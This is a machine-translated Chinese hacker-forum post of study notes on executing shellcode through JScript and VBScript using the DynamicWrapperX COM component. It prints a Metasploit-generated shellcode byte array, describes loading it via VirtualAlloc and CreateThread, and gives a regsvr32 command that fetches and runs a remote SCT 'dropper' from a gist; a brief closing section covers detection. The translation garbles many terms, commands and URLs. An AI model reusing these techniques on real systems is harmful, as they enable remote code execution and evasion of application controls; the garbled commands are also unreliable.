跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

每周学习笔记第2期(通过JScript VBScript的外壳代码)

精选回复

发布于

About:

动态包装

生成外壳代码

编写射流研究…和子程序调用表(Subroutine Call Table的缩写)脚本

如何使用

侦查

目录:

介绍如何配置使用脚本附加库动态包装

通过JS/VBS实现对win32 API的调用

如何在射流研究…脚本中加载外壳代码

结合子程序调用表(子程序调用表的缩写)的攻击思路

补充在64位下的使用方法

对该方法的检测

Reference:

http://子箱10。博格斯波特。com/2016/09/shellcode-via-jscript-VBScript。超文本标记语言

0x00 前言

凯西史密斯@subTee近日更新了新的博客,介绍了如何利用脚本附加库动态包装实现JS/VBS对win32 API的调用,我很感兴趣,于是对其进行了学习研究。本文用来记录测试心得并补充个人理解。

0x01 DynamicWrapperX简介

1. 下载获得dynwrapx.dll

下载地址:

http://www.script-coding.com/dynwrapx_eng.html

注册动态包装x:

regsvr 32/I dynwrapx.dll

卸载动态包装x:

regsvr 32/u/I dynwrapx.dll

注:

/i表示对当前用户操作,当前用户权限即可;如何不加/i,代表对所有用户操作,需要管理员权限

/s可去掉注册成功弹出的提示框

2. 通过JS/VBS来调用win32 API

注册组件后就可以通过JS/VBS来调用win32 API

射流研究…脚本弹框实例:

DX=新建ActiveX对象(' DynamicWrapperX ');//创建一个对象实例。

DX .Register('user32.dll ',' MessageBoxW ',' i=hwwu ',' r=l ');//注册一个动态链接库函数。

res=DX .MessageBoxW(0,' 0你好,世界!','测试',4);//调用函数。

注册前,js脚本执行失败,如图

2-1.png

注册组件,执行

regsvr 32/I dynwrapx.dll

再次执行射流研究…脚本,成功弹框,如图

2-2.png

成功调用win32 API

dynwrapx.dll是一个32位的dll,所以在64位系统下通过regsvr 32/I dynwrapx.dll注册后,在使用射流研究…调用win32 API时注意需要选择32位的cscript.exe,代码如下:

c:\ Windows \ sys wow 64 \ cscript。exe a . js

如图,默认64位cscript.exe无法调用计算机输出缩微胶片组件,换成32位,执行成功

2-3.png

vbs脚本弹框实例:

set DX=CreateObject(' DynamicWrapperX ')'创建一个对象实例。

DX .注册' user32.dll ',' MessageBoxW ',' i=hwwu ',' r=l ' '注册一个动态链接库函数。

res=DX .MessageBoxW(0,' 0你好,世界!','测试',4)'调用函数。

0x02 生成shellcode

使用msf:

使用windows/exec

设置CMD calc.exe

generate -t csharp

如图

3-1.png

获得外壳代码

字节[]缓冲区=新字节[193] {

0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,

0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,

0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,

0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,

0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,

0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,

0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,

0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,

0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,

0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,

0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,

0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,

0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x 00 };

0x03 js脚本加载shellcode

步骤:

通过虚拟分配申请一块具有RWX权限的内存,函数返回值为内存的基地址

向这段内存写入外壳代码

调用创建线程加载外壳代码

实例代码如下:

https://要点。github。com/subTee/ca 6 ab 8 EC 75 EC 38 c 213 da 580 CD 0 de 30 Fe

代码比较简洁,在此不做详细介绍,直接替换其中的外壳代码,正常执行,如图

3-2.png

注:

虚拟分配第二个参数表示分配内存的大小,外壳代码的长度不要超过这个数值

DynamicWrapperX 1.0提供了英文版说明,可对照语法进行二次开发,参考地址如下:

http://www.script-coding.com/dynwrapx_eng.html

DynamicWrapperX 2.0默认提供英文帮助文档,语法上有细微变化,需要注意。

0x04 regsvr32利用方式

如前所述,dynwrapx.dll是一个32位dll,注册的组件只能由32位程序调用。

因此,使用64位系统时应注意以下几点:

仅支持x86外壳代码。

在64位系统下,应该使用syswow64文件夹下的32位程序。

用法:

c:\ windows \ sys wow 64 \ regsvr32.exe/s/u/I:[SCT路径]scrobj.dll

把js代码写成sct文件,就可以放到服务器上了。

实现远程调用sct的实例地址:

https://gist . github . com/subTee/ca 6 ab 8 EC 75 EC 38 c 213 da 580 CD 0 de 30 Fe

自动化download, register dll, execute Shellcode的实例地址:

https://gist . github . com/subTee/aa 548 b 36 b 5d 3 c 8 f 07 e 2024 ab 39217712

还有一个对certuil.exe的调用来对文件执行base64加密和解密。

Cmd执行下面的代码来实现远程调用sct:

c:\ Windows \ sys wow 64 \ regsvr 32 . exe/s/u/I:https://gist . githubusercont

ent . com/subTee/aa 548 b 36 b 5d 3c 8 f 07 e 2024 ab 39217712/raw/5d c12 c 648229574 e 6172 a 70 ba 13 f

db 220 ef 1a 2e 8/滴管。scrobj.dll SCT

注:

使用前需要提前安装DynamicWrapperX。

实际测试如图所示。

3-5.png

0x05 补充

最新的DynamicWrapperX已经支持x64,版本为DynamicWrapperX 2.0。

相关地址:

http://www.minner.ru/html/Dynwrapx.html

在64位系统上,需要分别注册32位和64位的DynamicWrapperX。

64位dll注册成功后,js脚本就可以直接运行了,如图

3-3.png

注:

使用DynamicWrapperX 2.0需要提前卸载DynamicWrapperX 1.0。

否则,使用2.0需要将对象更改为DynamicWrapperX.2,例如:

新的ActiveXObject ('DynamicWrapperx ')更改为新的ActiveX object(' DynamicWrapperx . 2 ')

3-4.png

0x06 防御

此方法的前提是注册dynwrapx.dll,因此可以通过查看系统的已注册com组件来检测它。

推荐工具:

RegDllView

下载地址:

http://www.nirsoft.net/utils/registered_dll_view.html

特点:

显示所有注册的DLL/OCX/exe文件的列表

查看最新注册时间。

检查CLSID和ProgID

您可以手动卸载DLL/OCX文件。

您可以手动注册DLL/OCX文件。

如图所示,通过查看注册的COM控件找到dynwrapx.dll。

4-1.png

手动卸载组件会限制这种方法的应用。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。